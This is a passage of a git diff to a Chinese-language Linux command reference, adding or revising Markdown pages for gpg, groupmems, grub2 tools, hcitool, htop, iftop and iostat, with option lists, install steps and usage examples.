- [learnGitBranching 在线学习工具](http://pcottle.github.io/learnGitBranching/)
-- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html)
+- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html)
- [廖雪峰的Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
- [蒋鑫老师将带你入github的大门](http://www.worldhello.net/gotgithub/)
- [git详解](http://www.open-open.com/lib/view/open1328069609436.html)
@@ -1091,5 +1113,3 @@ git config --global core.quotepath false
- [Git 本地仓库和裸仓库](https://gold.xitu.io/post/5842f9b861ff4b005889ade6)
- [沉浸式学 Git](http://www.kancloud.cn/kancloud/igit/46710)
- [Git进阶用法,主要是rebase高级用法](http://way.oschina.io/2016/12/15/notes/GitAdvance/?utm_source=gank.io&utm_medium=email)
-
-
diff --git a/command/gpg.md b/command/gpg.md
new file mode 100644
index 00000000000..242d3cfc4dc
--- /dev/null
+++ b/command/gpg.md
@@ -0,0 +1,88 @@
+gpg
+===
+
+可用于签名、检查、加密或解密的工具
+
+### 支持算法:
+
+Pubkey: `RSA`, `ELG`, `DSA`, `ECDH`, `ECDSA`, `EDDSA`
+Cipher: `IDEA`, `3DES`, `CAST5`, `BLOWFISH`, `AES`, `AES192`, `AES256`, `TWOFISH`,
+ `CAMELLIA128`, `CAMELLIA192`, `CAMELLIA256`
+Hash: `SHA1`, `RIPEMD160`, `SHA256`, `SHA384`, `SHA512`, `SHA224`
+Compression: `Uncompressed`, `ZIP`, `ZLIB`, `BZIP2`
+
+### 语法
+```shell
+gpg [选项] [文件...]
+```
+
+### 参数:
+
+```shell
+ -s, --sign 签名
+ --clear-sign 生成明文签名
+ -b, --detach-sign 生成一个独立的签名
+ -e, --encrypt 加密数据
+ -c, --symmetric 仅使用对称密码进行加密
+ -d, --decrypt 解密数据 (默认)
+ --verify 验签
+ -k, --list-keys 列出密钥
+ --list-signatures 列出密钥和签名
+ --check-signatures 列出并检查密钥签名
+ --fingerprint 列出密钥和指纹
+ -K, --list-secret-keys 列出私钥
+ --generate-key 生成新的密钥对
+ --quick-generate-key 快速生成新的密钥对
+ --quick-add-uid 快速添加新的用户ID
+ --quick-revoke-uid 快速撤销用户ID
+ --quick-set-expire 快速设置新的过期日期
+ --full-generate-key 全功能密钥对生成
+ --generate-revocation 生成撤销证书
+ --delete-keys 从公钥环中移除密钥
+ --delete-secret-keys 从私钥环中移除密钥
+ --quick-sign-key 快速签名密钥
+ --quick-lsign-key 快速在本地签名密钥
+ --quick-revoke-sig 快速撤销密钥签名
+ --sign-key 签名密钥
+ --lsign-key 本地签名密钥
+ --edit-key 签名或编辑密钥
+ --change-passphrase 更改密码短语
+ --export 导出密钥
+ --send-keys 将密钥导出到密钥服务器
+ --receive-keys 从密钥服务器导入密钥
+ --search-keys 在密钥服务器上搜索密钥
+ --refresh-keys 从密钥服务器更新所有密钥
+ --import 导入/合并密钥
+ --card-status 打印卡片状态
+ --edit-card 更改卡片上的数据
+ --change-pin 更改卡片的PIN码
+ --update-trustdb 更新信任数据库
+ --print-md 打印消息摘要
+ --server 以服务器模式运行
+ --tofu-policy VALUE 为密钥设置TOFU策略
+```
+
+### 选项:
+
+```shell
+ -a, --armor 指定ascii格式的输出
+ -r, --recipient USER-ID 对特定用户ID的加密
+ -u, --local-user USER-ID 使用 USER-ID 进行签名或解密
+ -z N 设置压缩级别为N(0表示禁用)
+ --textmode 使用规范文本模式
+ -o, --output FILE 将输出写入文件FILE
+ -v, --verbose 详细模式
+ -n, --dry-run 不做任何更改
+ -i, --interactive 在覆盖前提示
+ --openpgp 使用严格的OpenPGP行为
+```
+
+### 示例:
+
+```shell
+ -se -r Bob [file] 为用户Bob签名并加密
+ --clear-sign [file] 生成明文签名
+ --detach-sign [file] 生成一个独立的签名
+ --list-keys [names] 显示密钥
+ --fingerprint [names] 显示指纹
+```
diff --git a/command/grep.md b/command/grep.md
index 2fd54ef2c8b..e52082e6ce1 100644
--- a/command/grep.md
+++ b/command/grep.md
@@ -50,7 +50,7 @@ $ # 锚定行的结束 如:'grep$' 匹配所有以grep结尾的行。
* # 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行。
.* # 一起用代表任意字符。
[] # 匹配一个指定范围内的字符,如'[Gg]rep'匹配Grep和grep。
-[^] # 匹配一个不在指定范围内的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。
+[^] # 匹配一个不在指定范围内的字符,如:'[^A-Z]rep' 匹配不包含 A-Z 中的字母开头,紧跟 rep 的行
\(..\) # 标记匹配字符,如'\(love\)',love被标记为1。
\< # 锚定单词的开始,如:'\ # 锚定单词的结束,如'grep\>'匹配包含以grep结尾的单词的行。
diff --git a/command/groupadd.md b/command/groupadd.md
index f7f6e583678..9cc1bce1bbe 100644
--- a/command/groupadd.md
+++ b/command/groupadd.md
@@ -18,7 +18,7 @@ groupadd(选项)(参数)
```shell
-g:指定新建工作组的id;
-r:创建系统工作组,系统工作组的组ID小于500;
--K:覆盖配置文件“/ect/login.defs”;
+-K:覆盖配置文件“/etc/login.defs”;
-o:允许添加组ID号不唯一的工作组。
```
diff --git a/command/groupdel.md b/command/groupdel.md
index 1c58b8fad7f..8070a4860a6 100644
--- a/command/groupdel.md
+++ b/command/groupdel.md
@@ -5,7 +5,7 @@ groupdel
## 补充说明
-**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组。
+**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组是某些用户的主组,则必须先删除这些用户或改变其主组后,才能删除该群组;如果该群组仅为某些用户的附加组,则可以直接删除,这些用户中的该组信息也会被删除。
### 语法
diff --git a/command/groupmems.md b/command/groupmems.md
new file mode 100644
index 00000000000..16acdb99820
--- /dev/null
+++ b/command/groupmems.md
@@ -0,0 +1,111 @@
+groupmems
+===
+
+管理用户主要组的成员
+
+## 补充说明
+
+`groupmems` 命令允许用户管理他/她自己的组成员列表,而不需要超级用户权限。`groupmems` 实用程序适用于将其用户配置为以他们自己的名义主组(即来宾/来宾)的系统。
+
+只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。
+
+### 语法
+
+```shell
+groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p
+```
+
+### 选项
+
+```bash
+-a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。
+
+-d, --delete user_name
+# 从组成员列表中删除用户。
+# 如果 /etc/gshadow 文件存在,用户将从组的成员和管理员列表中删除。
+# 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。
+
+-g, --group group_name # 超级用户可以指定要修改的组成员列表。
+-l, --list # 列出组成员列表。
+-p, --purge # 从组成员列表中清除所有用户。
+# 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。
+```
+
+## 配置
+
+`/etc/login.defs` 中的以下配置变量会更改此工具的行为:
+
+```shell
+MAX_MEMBERS_PER_GROUP (number)
+```
+
+每个组条目的最大成员数。 当达到最大值时,在 `/etc/group` 中启动一个新的组条目(行)(具有相同的名称、相同的密码和相同的 GID)。
+
+默认值为 0,表示组中的成员数量没有限制。
+
+此功能(拆分组)允许限制组文件中的行长度。 这有助于确保 NIS 组的行不超过 1024 个字符。
+
+如果你需要强制执行这样的限制,你可以使用 25。
+
+注意:并非所有工具都支持拆分组(即使在 Shadow 工具包中)。 除非你真的需要它,否则你不应该使用这个变量。
+
+## 例子
+
+groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中,以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。
+
+```shell
+groupadd -r groups
+chmod 2770 groupmems
+
+chown root.groups groupmems
+groupmems -g groups -a gk4
+```
+
+让我们创建一个新用户和一个新组并验证结果:
+
+```shell
+useradd student
+passwd student
+groupadd staff
+```
+
+使用户 student 成为组人员的成员:
+
+```shell
+groupmems -g staff -a student
+groupmems -g staff -l
+```
+
+将用户添加到组:
+
+```shell
+groupmems -a mike -g SUPPORT
+groupmems --add mike -g SUPPORT
+```
+
+从组中删除/移除用户:
+
+```shell
+groupmems -d mike SUPPORT -g SUPPORT
+groupmems --delete mike SUPPORT -g SUPPORT
+```
+
+更改组名称:
+
+```shell
+groupmems -g SUPPORT
+```
+
+从组中删除用户:
+
+```shell
+groupmems -p -g SUPPORT
+groupmems --purge -g SUPPORT
+```
+
+要列出组的成员:
+
+```shell
+groupmems -l -g SUPPORT
+groupmems --list -g SUPPORT
+```
diff --git a/command/grub.md b/command/grub.md
index 7d2bbf52277..9de9c456598 100644
--- a/command/grub.md
+++ b/command/grub.md
@@ -69,3 +69,6 @@ boot
这里的关键问题是如何确定系统的几个分区:`/boot` `/` `/sbin`
+### 参考资料
+
+- 自由软件基金会 - grub 文档
diff --git a/command/grub2-mkconfig.md b/command/grub2-mkconfig.md
new file mode 100644
index 00000000000..80c9dd3c2f9
--- /dev/null
+++ b/command/grub2-mkconfig.md
@@ -0,0 +1,30 @@
+grub2-mkconfig
+===
+
+生成 grub.cfg 配置文件。
+
+## 语法
+
+```shell
+用法: grub2-mkconfig [OPTION]
+生成 grub 配置文件
+
+ -o, --output=FILE 将生成的配置输出到 FILE 文件 [default=stdout]
+ -h, --help 打印这个文件并退出
+ -v, --version 打印版本信息并退出
+
+报告 Bug 通过 .
+
+```
+
+## 实例
+
+生成新的grub配置文件
+
+```shell
+grub2-mkconfig -o /boot/grub2/grub.cfg
+
+# 或者
+
+grub2-mkconfig > /boot/grub2/grub.cfg
+```
diff --git a/command/grub2-set-default.md b/command/grub2-set-default.md
new file mode 100644
index 00000000000..8cbd5697cb9
--- /dev/null
+++ b/command/grub2-set-default.md
@@ -0,0 +1,45 @@
+grub2-set-default
+===
+
+设置系统默认的启动内核
+
+## 语法
+
+```shell
+Usage: grub2-set-default [OPTION] MENU_ENTRY
+Set the default boot menu entry for GRUB.
+This requires setting GRUB_DEFAULT=saved in /etc/default/grub.
+
+ -h, --help print this message and exit
+ -v, --version print the version information and exit
+ --boot-directory=DIR expect GRUB images under the directory DIR/grub2
+ instead of the /boot/grub2 directory
+
+MENU_ENTRY is a number, a menu item title or a menu item identifier.
+
+Report bugs to .
+
+```
+
+## 实例
+
+查看可选的系统内核:
+```shell
+# awk -F\' '$1=="menuentry " {print $2}' /etc/grub2.cfg
+CentOS Linux (5.4.219-1.el7.elrepo.x86_64) 7 (Core)
+CentOS Linux (3.10.0-1160.76.1.el7.x86_64) 7 (Core)
+CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core)
+CentOS Linux (0-rescue-3221d376917c458992a952d6327f2d6a) 7 (Core)
+```
+
+grub2-set-default后面的序号从0开始。所以,如果想设置第一个选项为默认启动内核,则可以使用下面的命令:
+
+```shell
+# grub2-set-default 0
+```
+如果想使用CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core)内核版本,则可以将0改为2
+
+重启系统
+```shell
+~]# init 6
+```
\ No newline at end of file
diff --git a/command/hcitool.md b/command/hcitool.md
new file mode 100644
index 00000000000..1e21b9ebce3
--- /dev/null
+++ b/command/hcitool.md
@@ -0,0 +1,77 @@
+hcitool
+===
+
+hcitool是一个Linux命令行工具,用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。
+
+## 安装
+
+hcitool是一个Linux命令行工具,通常已经预装在大多数Linux行版中。如果您的系统中没有安装hcitool,可以使用以下命令进行安装(debian系列发行示例)
+
+```bash
+sudo apt-get install bluez
+```
+
+## 使用
+注意事项:
+1. 使用ble相关命令需要提权如:lescan
+
+
+### 语法
+
+`hcitool [options] [command parameters]`
+
+### 命令
+
+```bash
+ dev 显示本地设备
+ inq 查询远程设备
+ scan 扫描远程设备
+ name 从远程设备获取名称
+ info 从远程设备获取信息
+ spinq 启动定期查询
+ epinq 退出定期查询
+ cmd 提交任意HCI命令
+ con 显示活动连接
+ cc 创建到远程设备的连接
+ dc 断开与远程设备的连接
+ sr 交换机中心/外围角色
+ cpt 更改连接数据包类型
+ rssi 显示连接rssi
+ lq 显示链路质量
+ tpl 显示发射功率电平
+ afh 显示afh通道图
+ lp 设置/显示链接策略设置
+ lst 设置/显示链接监控超时
+ auth 请求身份验证
+ enc 设置连接加密
+ key 更改连接链接键
+ clkoff 读取时钟偏移
+ clock 读取本地或远程时钟
+ lescan 启动LE扫描
+ leinfo 获取LE远程信息
+ lealadd 将设备添加到LE接受列表
+ lealrm 从LE接受列表中删除设备
+ lealsz LE接受列表的读取大小
+ lealclr 清除LE接受列表
+
+```
+### 常用简单示例
+1.扫描周围的蓝牙设备
+
+`hcitool scan`
+
+2.通过mac地址连接到蓝牙设备
+
+`hcitool cc `
+
+3.显示当前蓝牙适配器信息
+
+`hcitool dev`
+
+4.通过mac地址找到蓝牙名称
+
+`hcitool name `
+
+5.显示当前蓝牙活动连接信息
+
+`hcitool con`
diff --git a/command/hdparm.md b/command/hdparm.md
index eafcd7abb14..4b7ea235c9d 100644
--- a/command/hdparm.md
+++ b/command/hdparm.md
@@ -21,7 +21,7 @@ hdparm(选项)(参数)
-c:设定IDE32位I/O模式;
-C:检测IDE硬盘的电源管理模式;
-d<0或1>:设定磁盘的DMA模式;
--f:将内存缓冲区的数据写入硬盘,并清楚缓冲区;
+-f:将内存缓冲区的数据写入硬盘,并清除缓冲区;
-g:显示硬盘的磁轨,磁头,磁区等参数;
-h:显示帮助;
-i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供;
diff --git a/command/htop.md b/command/htop.md
index 60182f35b0a..9a0c886834b 100644
--- a/command/htop.md
+++ b/command/htop.md
@@ -24,6 +24,54 @@ top缺点:
htop 官网:http://htop.sourceforge.net/
+### htop 安装
+
+在大多数的 Linux 发行版中你不会找到预安装的 `htop`,但作为最流行的实用程序之一,你会在几乎每个 Linux 发行版的默认存储库中找到 `htop`。
+
+因此,如果你的机器是基于 Debian/Ubuntu 驱动的,则以下命令应该可以完成你的工作:
+
+```shell
+sudo apt install htop
+```
+
+类似的,如果你使用的是 Fedora,则可以使用以下的命令:
+
+```shell
+sudo dnf install htop
+```
+
+如果你使用的是 CentOS 或 RedHat 则可以使用以下的命令:
+
+```shell
+sudo yum install htop
+```
+如果你想避免从源代码构建包,还有一个 Snap 包可用:
+
+```shell
+sudo snap install htop
+```
+
+如果你使用的是其它的发行版或者想从源代码构建,你可以使用 `wget` 下载并安装:
+这需要你下载并安装 `wget` `cmake`
+
+```shell
+wget https://link.zhihu.com/?target=https%3A//hisham.hm/htop/releases/2.2.0/htop-2.2.0.tar.gz
+
+tar -zxvf htop-2.2.0.tar.gz
+
+cd htop-2.2.0/
+
+./configure
+
+make
+
+make install
+```
+
+当然你也可以随时参考你可以随时参考 [htop 的 GitHub](https://link.zhihu.com/?target=https%3A//github.com/htop-dev/htop) 页面以获得详细说明。
+
+**说明**:htop源码安装方式默认安装到 `/usr/local` 目录下,如果想安装到其它路径,在执行 configure 时通过 `—prefix` 指定,格式为:`./configure --prefix=/some/path`
+
### 语法
```shell
@@ -42,6 +90,16 @@ htop
-v --version 打印版本信息
```
+#### 参数示例
+
+- -C 选项:设置界面为无颜色。
+
+- -d 选项 : 设置刷新时间,单位为秒。如,htop -d 10命令会每10秒刷新一次。
+
+- -s 选项 : 按指定的列排序。如,htop -s PID命令会按PID 列的大小排序来显示。
+
+- -u 选项 : 显示指定的用户的进程信息。如,htop -u test命令会只显示出用户名为test的相关进程。
+
### 选项
```shell
diff --git a/command/iftop.md b/command/iftop.md
index 6f64c6762fd..0449a3eccbf 100644
--- a/command/iftop.md
+++ b/command/iftop.md
@@ -16,39 +16,38 @@ iftop(选项)
### 选项
```shell
-iftop: display bandwidth usage on an interface by host
+iftop: 按主机显示接口带宽使用情况
-Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code]
+参数: iftop -h | [-npblNBP] [-i interface] [-f filter code]
[-F net/mask] [-G net6/mask6]
- -h display this message
- -n don't do hostname lookups
- -N don't convert port numbers to services
- -p run in promiscuous mode (show traffic between other
- hosts on the same network segment)
- -b don't display a bar graph of traffic
- -B Display bandwidth in bytes
- -i interface listen on named interface
+ -h 显示帮助信息
+ -n 不要讲ip转为主机名
+ -N 不要将端口转为对应服务名
+ -p 以混杂模式运行(显示同一网段内其他主机之间的流量)
+ -b 不要展示流量通行条形图
+ -B 使用Byte展示流量情况(默认展示的bit)
+ -i interface 指定需要监听的网络端口 -i eth0
-f filter code use filter code to select packets to count
(default: none, but only IP packets are counted)
- -F net/mask show traffic flows in/out of IPv4 network
- -G net6/mask6 show traffic flows in/out of IPv6 network
- -l display and count link-local IPv6 traffic (default: off)
- -P show ports as well as hosts
- -m limit sets the upper limit for the bandwidth scale
- -c config file specifies an alternative configuration file
- -t use text interface without ncurses
+ -F net/mask 展示指定IPV4网络的流量,参数可以是主机名/IP/掩码
+ -G net6/mask6 展示指定IPV6网络的流量,参数可以是主机名/IP/掩码
+ -l 展示本地网络/回环网络/ipv6流量 (默认值: 关闭)
+ -P 展示主机端口
+ -m limit 设置带宽规模的上限
+ -c config file 指定可选配置文件
+ -t 使用文本模式展示
Sorting orders:
- -o 2s Sort by first column (2s traffic average)
- -o 10s Sort by second column (10s traffic average) [default]
- -o 40s Sort by third column (40s traffic average)
- -o source Sort by source address
- -o destination Sort by destination address
+ -o 2s 按照第一列进行排序 (每2秒的平均值为一个计数周期)
+ -o 10s 按照第二列进行排序 (每10秒的平均值为一个计数周期]
+ -o 40s 按照第三列进行排序 (每40秒的平均值为一个计数周期)
+ -o source 按照原地址继续排序
+ -o destination 按照目标地址进行排序
- The following options are only available in combination with -t
- -s num print one single text output afer num seconds, then quit
- -L num number of lines to print
+ 以下选项仅在与 -t
+ -s num 在num秒后打印一个文本输出,然后退出
+ -L num 打印的行数
```
### 界面说明
diff --git a/command/info.md b/command/info.md
index a3e785a4d3d..0224e9b7f4f 100644
--- a/command/info.md
+++ b/command/info.md
@@ -72,7 +72,7 @@ info info
**Del 键** 上一页(PageUp 也可以,上一页从当前页的开始两行开始算起)
上一个 Node (若当前页 Node 文档的开始)
- **b 或 t 或 Home** 文档的开始(b 是 begining 的意思)
+ **b 或 t 或 Home** 文档的开始(b 是 beginning 的意思)
**e 或 End** 文档的末尾(b 是 ending 的意思)
**Ctrl-l** 刷新当前页,若当前文档显示情况有问题时
**Ctrl-g** 取消所键入的指令
diff --git a/command/iostat.md b/command/iostat.md
index 12de5a3b6c1..b90088c5248 100644
--- a/command/iostat.md
+++ b/command/iostat.md
@@ -7,68 +7,178 @@ iostat
**iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。
-### 语法
+iowait 指在一个采样周期内有百分之几的时间是属于以下情况:CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。
-```shell
+## 安装 iostat
+
+iostat包含在**sysstat**包内。如果你没有,你首先需要安装它。
+在 RedHat / CentOS / Fedora
+
+```bash
+yum install sysstat
+```
+
+在 Debian / Ubuntu / Linux Mint
+
+```bash
+sudo apt-get install sysstat
+```
+
+## 语法
+
+```bash
iostat(选项)(参数)
```
-### 选项
-
-```shell
--c:仅显示CPU使用情况;
--d:仅显示设备利用率;
--k:显示状态以千字节每秒为单位,而不使用块每秒;
--m:显示状态以兆字节每秒为单位;
--p:仅显示块设备和所有被使用的其他分区的状态;
--t:显示每个报告产生时的时间;
--V:显示版号并退出;
--x:显示扩展状态。
+### 选项
+
+```bash
+# iostat --help
+Usage: iostat [ options ] [ [ ] ]
+Options are:
+[ -c ] [ -d ] [ -h ] [ -k | -m ] [ -N ] [ -s ] [ -t ] [ -V ] [ -x ] [ -y ] [ -z ]
+[ -j { ID | LABEL | PATH | UUID | ... } ] [ --human ] [ -o JSON ]
+[ [ -H ] -g ] [ -p [ [,...] | ALL ] ]
```
-### 参数
+参数说明:
+```
+-c 输出CPU统计信息。不能与-d参数同时使用。
+-d 输出设备和分区的I/O统计信息。不能与-c参数同时使用。(默认的参数是-d)。
+-h 让人类更容易阅读设备使用情况报告。--human使用此选项隐式启用。
+-k 用“kbytes/秒”代替“块/秒”显示统计信息。
+-m 用“mbytes/秒”代替“块/秒”显示统计信息。
+-t 打印显示的每份报告的时间。
+-V 显示版本号并退出。
+-x 显示扩展统计信息。不能与参数-p同时使用。
+-y 如果在给定时间间隔内显示多条记录,则省略自系统启动以来的第一份统计报告。
+-z 告诉 iostat 忽略在样本期间没有活动的设备的输出。
+-j 显示持久的设备名称。选项ID、LABEL等指定持久名称的类型。
+--human 以人类可读格式打印大小(例如1.0k, 1.2M等)。使用此选项显示的单位取代与度量相关的任何其他默认单位(例如千字节,扇区…)。
+-o 以JSON (Javascript Object Notation)格式显示统计数据。JSON输出字段顺序未定义,未来可能会添加新字段。
+-H 该选项必须与-g一起使用,表示只显示组的全局统计信息,而不显示组中单个设备的统计信息。
+-p 选项显示系统使用的块设备及其所有分区的统计信息。如果在命令行中输入一个设备名,那么将显示该设备及其所有分区的统计信息。最后,ALL关键字表示必须显示系统定义的所有块设备和分区的统计信息,包括那些从未使用过的设备和分区。如果在此选项之前定义了选项-j,则可以使用所选的持久名称类型指定在命令行上输入的设备。
+```
+
+### 参数
+
+interval 刷新时间间隔
+count 刷新次数
-* 间隔时间:每次报告的间隔时间(秒);
-* 次数:显示报告的次数。
+## 运行示例
-### 实例
+### 示例1
-用`iostat -x /dev/sda1`来观看磁盘I/O的详细情况:
+```bash
+# iostat
+Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU)
-```shell
-iostat -x /dev/sda1
-Linux 2.6.18-164.el5xen (localhost.localdomain)
-2010年03月26日
+avg-cpu: %user %nice %system %iowait %steal %idle
+ 3.30 0.01 1.90 0.12 0.00 94.68
-avg-cpu: %user %nice %system %iowait
-%steal %idle
- 0.11 0.02 0.18 0.35
-0.03 99.31
+Device tps kB_read/s kB_wrtn/s kB_read kB_wrtn
+vda 7.85 84.22 36.59 1081853831 470049100
-Device: tps Blk_read/s Blk_wrtn/s
-Blk_read Blk_wrtn
-sda1 0.02 0.08
-0.00 2014 4
```
-详细说明:第二行是系统信息和监测时间,第三行和第四行显示CPU使用情况(具体内容和mpstat命令相同)。这里主要关注后面I/O输出的信息,如下所示:
+第一部分包含了CPU报告
+
+| 性能指标 | 含义 |
+| --- | --- |
+| %user | 显示在用户级(应用程序)执行时发生的CPU利用率百分比。 |
+| %nice | 显示在具有nice优先级的用户级别执行时发生的CPU利用率百分比。 |
+| %system | 显示在系统级(内核)执行时发生的CPU利用率百分比。 |
+| %iowait | 显示在系统有未完成的磁盘I/O请求期间CPU空闲的时间百分比。 |
+| %steal | 显示虚拟机监控程序为另一个虚拟处理器提供服务时,一个或多个虚拟CPU在非自愿等待上花费的时间百分比。 |
+| %idle | 显示CPU空闲且系统没有未完成的磁盘I/O请求的时间百分比。 |
+
+第二部分包含了设备利用率报告
+
+| 性能指标 | 含义 |
+| --- | --- |
+| Device | 此列给出了 /dev 目录中列出的设备(或分区)名称。 |
+| tps | 表示每秒向设备发出的传输次数。传输是对设备的 I/O 请求。多个逻辑请求可合并为对设备的一个 I/O 请求。传输大小不确定。 |
+| kB_read/s | 表示每秒从设备读取的数据量,以块数(千字节、兆字节)表示。块相当于扇区,因此大小为 512 字节。 |
+| kB_wrtn/s | 表示写入设备的数据量,以每秒块数(千字节、兆字节)表示。 |
+| kB_read | 读取的数据块总数(千字节、兆字节)。 |
+| kB_wrtn | 写入的数据块总数(千字节、兆字节)。 |
+
+### 示例2
+以更友好的显示方式显示 IO 信息,使用`-y`忽略第一份统计。并每隔 1 秒重新一次,共5次。
-标示 | 说明
---- | ---
-Device | 监测设备名称
-rrqm/s | 每秒需要读取需求的数量
-wrqm/s | 每秒需要写入需求的数量
-r/s | 每秒实际读取需求的数量
-w/s | 每秒实际写入需求的数量
-rsec/s | 每秒读取区段的数量
-wsec/s | 每秒写入区段的数量
-rkB/s | 每秒实际读取的大小,单位为KB
-wkB/s | 每秒实际写入的大小,单位为KB
-avgrq-sz | 需求的平均大小区段
-avgqu-sz | 需求的平均队列长度
-await | 等待I/O平均的时间(milliseconds)
-svctm | I/O需求完成的平均时间
-%util | 被I/O需求消耗的CPU百分比
+```bash
+# iostat -hdy 1 5
+Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU)
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 64.00 288.0k 308.0k 288.0k 308.0k vda
+
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 12.00 0.0k 84.0k 0.0k 84.0k vda
+
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 15.00 0.0k 36.0k 0.0k 36.0k vda
+
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 28.00 0.0k 76.0k 0.0k 76.0k vda
+
+ tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device
+ 11.00 0.0k 100.0k 0.0k 100.0k vda
+
+```
+
+### 示例3
+
+```bash
+# iostat -xd 1
+Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU)
+
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 4.64 3.21 84.14 36.59 0.28 1.07 5.64 25.01 5.86 8.23 0.05 18.12 11.41 0.44 0.34
+
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 2.00 0.20
+
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 0.00 37.00 0.00 395.50 0.00 10.00 0.00 21.28 0.00 0.92 0.03 0.00 10.69 0.11 0.40
+
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
+
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
+
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util
+vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 1.00 0.10
+
+```
+从这里你可以看到,iostat 提供了非常丰富的性能指标。第一列的 Device 表示磁盘设备的名字,其他各列指标,虽然数量较多,但是每个指标的含义都很重要。
+
+| 性能指标 | 含义 |
+| --- | --- |
+| r/s | 设备每秒完成的读取请求数(合并后)。 |
+| w/s | 设备每秒完成的写入请求数(合并后)。 |
+| rkB/s | 每秒从设备读取的扇区数(千字节、兆字节)。 |
+| wkB/s | 每秒写入设备的扇区数(千字节、兆字节)。 |
+| rrqm/s | 每秒合并到设备的排队 I/O 请求数。 |
+| wrqm/s | 每秒合并到设备的写入请求数。 |
+| %rrqm | 在发送到设备之前合并在一起的读取请求的百分比。 |
+| %wrqm | 发送到设备前合并在一起的写入请求的百分比。 |
+| r_await | 向设备发出的读取请求获得服务的平均时间(毫秒)。这包括请求在队列中花费的时间和为请求提供服务的时间。 |
+| w_await | 向待服务设备发出写入请求的平均时间(毫秒)。这包括请求在队列中花费的时间和为请求提供服务的时间。 |
+| aqu-sz | 向设备发出的请求的平均队列长度。注意:在以前的版本中,该字段被称为 avgqu-sz。 |
+| rareq-sz | 向设备发出的读取请求的平均大小(千字节)。 |
+| wareq-sz | 向设备发出的写入请求的平均大小(千字节)。 |
+| svctm | 向设备发出的 I/O 请求的平均服务时间(毫秒)。警告!不要再相信这个字段了。 未来的 sysstat 版本将删除此字段。 |
+| %util | 向设备发出 I/O 请求所用时间的百分比(设备带宽利用率)。 对于串行服务请求的设备,当该值接近 100%,设备就会饱和。 但对于以并行方式提供请求的设备,如 RAID 阵列和现代固态硬盘,该数值并不能反映其性能极限。 |
+
+当 %iowait 升高,需要重点关注以下指标:
+
+- avgrq-sz: 向设备发出请求的平均大小(单位:扇区)
+- avgqu-sz: 向设备发出请求的队列平均长度。也是个做 IO 调优时需要注意的地方,这个就是直接每次操作的数据的大小,如果次数多,但数据拿的小的话,其实 IO 也会很小.如果数据拿的大,IO 的数据会高
+- r_await: 向服务设备发出读取请求的平均时间(单位:毫秒)。包括请求入队的时间以及设备处理请求的时间
+- w_await: 向服务设备发出写请求的平均时间(单位:毫秒)。包括请求入队的时间以及设备处理请求的时间
+- %util:一秒中有百分之多少的时间用于 I/O 操作,或者说一秒中有多少时间 I/O 队列是非空的。如果 %util 接近 100%,说明产生的I/O请求太多,I/O系统已经满负荷,该磁盘可能存在瓶颈
